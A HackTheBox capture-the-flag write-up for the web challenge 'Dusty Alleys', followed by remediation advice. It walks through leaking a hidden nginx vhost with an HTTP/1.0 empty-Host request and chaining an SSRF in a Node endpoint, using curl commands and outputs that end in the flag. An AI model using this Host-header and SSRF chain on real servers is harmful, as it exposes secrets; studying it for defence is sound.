Dusty Alleys | Web | HackTheBox
Author
Nick Chua
Date Published

Let's go through Dusty Alleys, a medium difficulty web challenge.
We are provided with a zip file containing the web application source code.
guardian.js
1router.get("/alley", async (_, res) => {2 res.render("index");3});45router.get("/think", async (req, res) => {6 return res.json(req.headers);7});89router.get("/guardian", async (req, res) => {10 const quote = req.query.quote;1112 if (!quote) return res.render("guardian");1314 try {15 const location = new URL(quote);16 const direction = location.hostname;17 if (!direction.endsWith("localhost") && direction !== "localhost")18 return res.send("guardian", {19 error: "You are forbidden from talking with me.",20 });21 } catch (error) {22 return res.render("guardian", { error: "My brain circuits are mad." });23 }2425 try {26 let result = await node_fetch(quote, {27 method: "GET",28 headers: { Key: process.env.FLAG || "HTB{REDACTED}" },29 }).then((res) => res.text());3031 res.set("Content-Type", "text/plain");3233 res.send(result);34 } catch (e) {35 console.error(e);36 return res.render("guardian", {37 error: "The words are lost in my circuits",38 });39 }40});
From the source code, if we make a GET request to the /guardian endpoint with the quote query parameter, the value of the parameter will be taken as the URL location.
This is a SSRF vulnerability, whereby the server will subsequently make a GET request to the URL set in the quote variable and set the flag in the request headers.
So how do we get the flag which is set in the request header? The /think endpoint conveniently returns to us the req.headers which will contain the flag.
However, we will realize that making a request to /guardian will give us the 404 Not Found .
Let us take a look at default.conf
1server {2 listen 80 default_server;3 server_name alley.$SECRET_ALLEY;45 location / {6 root /var/www/html/;7 index index.html;8 }910 location /alley {11 proxy_pass http://localhost:1337;12 proxy_set_header Host $host;13 proxy_set_header X-Real-IP $remote_addr;14 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;15 proxy_set_header X-Forwarded-Proto $scheme;16 }1718 location /think {19 proxy_pass http://localhost:1337;20 proxy_set_header Host $host;21 proxy_set_header X-Real-IP $remote_addr;22 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;23 proxy_set_header X-Forwarded-Proto $scheme;2425 }26}2728server {29 listen 80;30 server_name guardian.$SECRET_ALLEY;3132 location /guardian {33 proxy_pass http://localhost:1337;34 proxy_set_header Host $host;35 proxy_set_header X-Real-IP $remote_addr;36 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;37 proxy_set_header X-Forwarded-Proto $scheme;38 }39}40
We can see that to reach /guardian , we have to know the hostname as seen in line 30, specified as server_name guardian.$SECRET_ALLEY.
A possible approach is to fuzz for the vhost. But looking at line 2-3, we understand that if no other server block match our request's host header, it will default to the first server block, which contains server_name alley.$SECRET_ALLEY.
If we make a request as such
1curl http://<ip>:<port>/think
It returns back the ip address which we specify in our curl argument in the host header as follows
1{"host":"<ip>","x-real-ip":"10.xx.xxx.xxx","x-forwarded-for":"10.xx.xxx.xxx","x-forwarded-proto":"http","connection":"close","user-agent":"curl/8.5.0","accept":"*/*"}
In order for alley.$SECRET_ALLEY to be reflected in the host header, we can use HTTP 1.0, which allows us to remove the host header value, resulting in the server falling back to the alley.$SECRET_ALLEY value set in the host header.
Using the curl command
1curl -H 'Host:' --http1.0 http://<ip>:<port>/think
leaks the alley.$SECRET_ALLEY value as follows
1{"host":"alley.xxxxxxxxxx.xxx","x-real-ip":"10.xx.xx.xxx","x-forwarded-for":"10.xx.xx.xxx","x-forwarded-proto":"http","connection":"close","user-agent":"curl/8.5.0","accept":"*/*"}
Leaking the $SECRET_ALLEY allows us to set this value in our Host: header, enabling us to hit the /guardian endpoint, which we will leverage SSRF by setting quote=http://localhost:1337/think to get our flag
1curl -H "Host: guardian.xxxxxxxxxx.com" http://<ip>:<port>/guardian?quote=http://localhost:1337/think2{"key":"HTB{XXXXXXXXXXXXXXXX}","accept":"*/*","user-agent":"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)","accept-encoding":"gzip,deflate","connection":"close","host":"localhost:1337"}
Summary
This challenge teaches
- nginx uses name-based virtual hosts (alley.<suffix> vs guardian.<suffix>), so reaching the “guardian” functionality depends on sending the correct Host.
- An internal/debug-style route reflects request headers, and nginx forwards a computed $host upstream; when the client omits Host (HTTP/1.0), that reflected value can reveal the hidden vhost suffix.
- The “guardian” route performs a restricted fetch (SSRF) and adds the flag as an outbound header; by pointing it at the header-reflecting endpoint on localhost, that header is echoed back to the client.
Remediation
- Remove or lock down
/think
/thinkreflects req.headers (guardian.js), which can expose internal routing details (like Host) and any sensitive headers you might add later.- Either delete it, or only enable it in development, or block it at nginx.
- Stop nginx from “inventing” a
Hostheader and forwarding it upstream
- Your nginx config explicitly forwards
Host $host(default.conf:12,20,34). - When a client omits
Host(HTTP/1.0), nginx’s $host falls back to the selected server_name (which contains the secret suffix), and then Express reflects it via/think. - Fix: forward the actual client Host header ($http_host) or a fixed value, and/or reject requests with missing
Host.
- Fix the SSRF + secret-in-header pattern
/guardianperforms a server-side fetch to a user-controlled URL and includes a secret header (Key: process.env.FLAG) (guardian.js (lines 28-32)).- Even with hostname checks, redirects/DNS tricks can bite; and secrets should never be exfiltratable via outbound requests.
- Fix: don’t fetch user-supplied URLs at all; if you must, strict allowlist + no redirects + timeouts + size limit; and never attach secrets to that request.
Thanks for reading!
